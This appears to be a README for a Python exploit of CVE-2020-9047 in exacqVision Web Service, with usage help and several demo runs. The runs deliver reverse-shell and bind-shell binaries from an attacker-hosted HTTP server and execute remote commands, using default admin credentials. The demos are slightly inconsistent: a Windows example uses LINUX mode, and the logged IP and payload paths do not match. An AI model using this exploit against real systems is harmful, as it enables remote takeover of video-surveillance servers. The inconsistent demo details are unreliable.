norrismw/cve-2020-9047Python 针对 exacqVision Web 服务的 CVE-2020-9047 漏洞利用程序。支持 Windows/Linux 载荷投递、远程命令执行以及通过 CHECK 模式进行漏洞指纹识别。
usage: CVE-2020-9047.py [-h] [-p RPORT] [-s LPORT] [--command] [-d WEBDIR]
[-U USERNAME] [-P PASSWORD]
{WINDOWS,LINUX,CHECK} RHOST LHOST PAYLOAD
Exploit for exacqVision Web Service as outlined in CVE-2020-9047. This program
targets Windows and Linux x86 installations of exacqVision Web Service
versions 3.8.2.67295 - 20.06.3.0. Written by Michael W. Norris.
positional arguments:
{WINDOWS,LINUX,CHECK}
The target operating system. Provide "WINDOWS" for
Windows, "LINUX" for Linux, or "CHECK" to have this
program perform a check. When using "CHECK", '' can be
provided for the LHOST and PAYLOAD arguments.
RHOST The IP address of the remote host; the IP address of
the target.
LHOST The local IP address that will serve the payload for
the remote host. This should not be "localhost" or
"127.0.0.1". The remote host will need to be able to
connect to the provided IP address. This program
should be run on the system with the specified IP
address.
PAYLOAD The absolute file path of an existing Windows
executable (.exe) or Linux binary file on the local
system. The binary will be executed on the remote
host. If the --command flag is set and "LINUX" was
provided as the TARGET argument, enter a command that
will be executed on the remote host.
optional arguments:
-h, --help show this help message and exit
-p RPORT The port on the remote host where exacqVision Web
Service is running. Default: 80
-s LPORT The local port that will be used to serve the payload
file for the remote host. Default: 8000
--command Sets the command flag. The flag allows for a command
to be provided as the PAYLOAD argument instead of a
file path to a binary. The provided command will be
executed on the remote host. The flag should be set
only if "LINUX" was provided as the TARGET argument.
-d WEBDIR The local existing directory where a randomly named
temporary directory will be created. Default: /tmp
-U USERNAME The username for authenticating to the remote
exacqVision Web Service application. Default: admin
-P PASSWORD The password for authenticating to the remote
exacqVision Web Service application. Default: admin256
要检查系统是否存在CVE-2020-9047漏洞，以及该漏洞是否可被利用，或/并对远程主机的操作系统/架构进行指纹识别，请使用以下命令语法。在此示例中，远程主机为10.0.0.22（RHOST）。
┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py CHECK 10.0.0.22 '' ''
Target OS: Linux i686
EVWS Version: 7.8.2.97826
Exploitable: YES
要让远程Linux系统10.0.0.22（RHOST）上运行exacqVision Web Service（TCP端口8080）安装/执行位于本地系统10.0.0.11（LHOST）TCP端口80上的ELF二进制载荷（绝对路径为/root/demo/shell_reverse_tcp，即PAYLOAD），请使用以下命令语法。
┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py LINUX 10.0.0.22 -p 8080 10.0.0.11 -s 80 '/root/demo/ping_me'
Target OS: Linux i686
EVWS Version: 7.8.2.97826
Exploitable: YES
Confirm the specified PAYLOAD is compatible with the remote architecture
Press ENTER to continue or CTRL+C to exit
Starting HTTP server on 0.0.0.0:80
Serving payload from /tmp/tmpo7516343 directory
192.168.57.161 - - [03/Jun/2020 23:11:09] "GET /op0tv6l4 HTTP/1.1" 200 -
192.168.57.161 - - [03/Jun/2020 23:11:13] "GET /aax35u41.deb HTTP/1.1" 200 -
Removing temporary directory structure /tmp/tmpo7516343
Stopping HTTP server on 0.0.0.0:80
要将命令（--command）作为PAYLOAD参数（而非ELF二进制载荷）指定并在远程Linux系统上执行，请使用以下命令语法。
┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py LINUX 10.0.0.22 10.0.0.11 --command 'ping -c 5 10.0.0.11'
Target OS: Linux i686
EVWS Version: 7.8.2.97826
Exploitable: YES
The provided command will be executed on the remote system
Press ENTER to continue or CTRL+C to exit
Starting HTTP server on 0.0.0.0:8000
Serving payload from /tmp/tmpp2wmx5x3 directory
192.168.57.161 - - [03/Jun/2020 23:22:04] "GET /no_n0zgk HTTP/1.1" 200 -
192.168.57.161 - - [03/Jun/2020 23:22:08] "GET /1vlkyw3.deb HTTP/1.1" 200 -
Removing temporary directory structure /tmp/tmpp2wmx5x3
Stopping HTTP server on 0.0.0.0:8000
注意：将命令作为PAYLOAD参数指定仅适用于远程Linux主机。
要让远程Windows系统10.0.0.33（RHOST），exacqVision Web Service密码为asdf1234!@#$，安装/执行位于本地系统10.0.0.11（LHOST）绝对路径为/root/demo/shell_bind_tcp.exe（PAYLOAD）的Windows可执行载荷，请使用以下命令语法。
┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py LINUX 10.0.0.33 -P 'asdf1234!@#$' 10.0.0.11 '/root/demo/shell_bind_tcp.exe'
Target OS: windows Intel(R) Core(TM) i3-3220 CPU @ 3.30GHz
EVWS Version: 9.8.4.149166
Exploitable: YES
Confirm the specified PAYLOAD is compatible with the remote architecture
Press ENTER to continue or CTRL+C to exit
Starting HTTP server on 0.0.0.0:8000
Serving payload from /tmp/tmpgizzpfa4 directory
192.168.57.161 - - [03/Jun/2020 23:25:09] "GET /4kdjekqk HTTP/1.1" 200 -
192.168.57.161 - - [03/Jun/2020 23:25:13] "GET /fp92ecyj.exe HTTP/1.1" 200 -
Removing temporary directory structure /tmp/tmpgizzpfa4
Stopping HTTP server on 0.0.0.0:8000